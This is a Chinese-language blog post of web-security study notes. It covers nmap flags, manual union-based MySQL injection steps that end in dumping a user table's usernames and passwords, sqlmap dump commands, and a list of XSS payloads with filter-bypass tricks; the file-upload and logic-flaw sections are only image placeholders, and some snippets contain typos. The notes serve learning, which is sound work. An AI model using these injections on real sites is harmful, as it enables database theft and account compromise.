项目型教学
web 安全了解
实际项目中教学
nmap
-p 参数
扫描端口,无法准确识别端口协议
-Sv 参数
探测端口版本
burpsuit
mysql 手注
关键字和函数
- union
- concat()
- concat_ws(split_char, str1, str2) 以分隔符 拼接字符串
- convert() 转换数据类型 ,编码转换
- concat_ws()
- group_concat()
- user()
- @@version_compile_os
- limit
注释
--##/* */
mysql version >= 5.5 有 information_schema
注入点分类
基于注入点数据类型
数字(整形)
id = 8’ 报错
id = 8 and 1 = 1 正常
id = 8 and 1 = 2 报错
字符
user = sss’
user = sss’ and ‘1’ = ‘1
user = sss’ and ‘1’ = ‘2
基于
SQL注入概述
1) 判断是否存在注入点
2)判断字段长度(字段数)
order by 1 ;使用第一列排序,可以用来探测字段长度
3)判断字段回显位置
union 查询,
content = args and 1 = 2 union select 1,2,3,…字段长度
查看回显
4)判断数据库信息
5)查找数据库名
回显处 database()
… union select 1,2,database() ,3,4…..;
6)查找数据库表
查看 cms 数据库的表名
…union select 1,2,group_concat(convert(table_name using latin1)),3,4… from information_schema.tables where table_schema = ‘cms’;
7)查找数据库中所有字段以及字段值
查找 user 表中的字段
…union select 1,2,group_concat(convert(column_name using latin1)),3,4… from information_schema.tables where table_schema = ‘cms’ and tabele_name = ‘user’;
查看 user 表中字段的值
…union select 1,2,concat_ws(‘,’, userid,username,password),3,4… from cms.user;
SQLMAP 注入
sqlmap -u url 探测
sqlmap -u url -dbs 查看数据库
sqlmap -u -D ‘cms’ -D 指定数据库名 –tables 查询数据表
sqlmap -u -D ‘cms’ -D 指定数据库名 -T ‘user’ 指定表名 –columns 查询字段值
sqlmap -u -D ‘cms’ -D 指定数据库名 -T ‘user’ 指定表名 -C 指定字段名,查询字段值 –dump
XSS (Cross-Site script)
简介:
对用户输入过滤不足,用户巧妙的将恶意代码注入到网页中
分类:
反射型 XSS:
非持久型。
将 payload 携带在 URL 中
数据流: 浏览器-》后端-》浏览器
存储型:
将代码保存到服务器上,访问时触发
DOM 型 XSS:
js 解析 DOM 树操作
payload 构造 及 变形
直接构造 html 标签
1
2<script>alert('xss')<script/>
<img src="javascript:alert('xss')"><img/>利用 html 属性(伪协议)
1
2
3<a href="javascript:alert(/xss/)">click me <a/>
利用事件
1
2
3
4
5// windows 事件
// From 事件
// Mouse 事件
// Media 事件
<input type="text" onclick="alert('xss')"><input/>利用 CSS
1
2<div style="background-image:url(javascript:alert(/xss/))"></div>
1
2
3
4
5<style>
Body{
background-image:url(javascript:alert(/xss/))
}
</style>双写关键字
1
2<scrscriptipt>alert(/xss/)</srcscriptipt>
引号
html中可不用引号js中 可用 反引号 ` 代替
1
2
3
4
5<img src=# onerror=alert(/xss/)/>
<img src='#' onerror='alert(/xssx)'/>
<img src=“#” onerror=alert(`xss`)/>
<img src=“#” onerror=alert`xss`/> 代替括号
/ 代替空格
1
2<img/src='#'/onerror='alert(/xss/)'/>
Tab 与 回车 绕过关键字检查
1
2
3
4
5<img src='#' onerror ='alert(/xss/)' />
<a href="j avascript:alert(/xss/)">click!</a>
<A href="J
avascript:alert(/xss/)">Click!</a>编码
- HTML 实体编码:
1
2<a href="jav&x61;script:alert(/xss/)">Click!</a>
- URL 编码
1
%3Cscript%3Ealert(/xss/)%3C/script%3E
文件上传
img
img
img
img
逻辑漏洞
img
img
img
分类
img
img
img
img
img
img
img
img
img
Author: 哒琳
Permalink: http://blog.jieis.cn/2022/31005faf-fe12-4085-9341-32783c3f3a09.html
Comments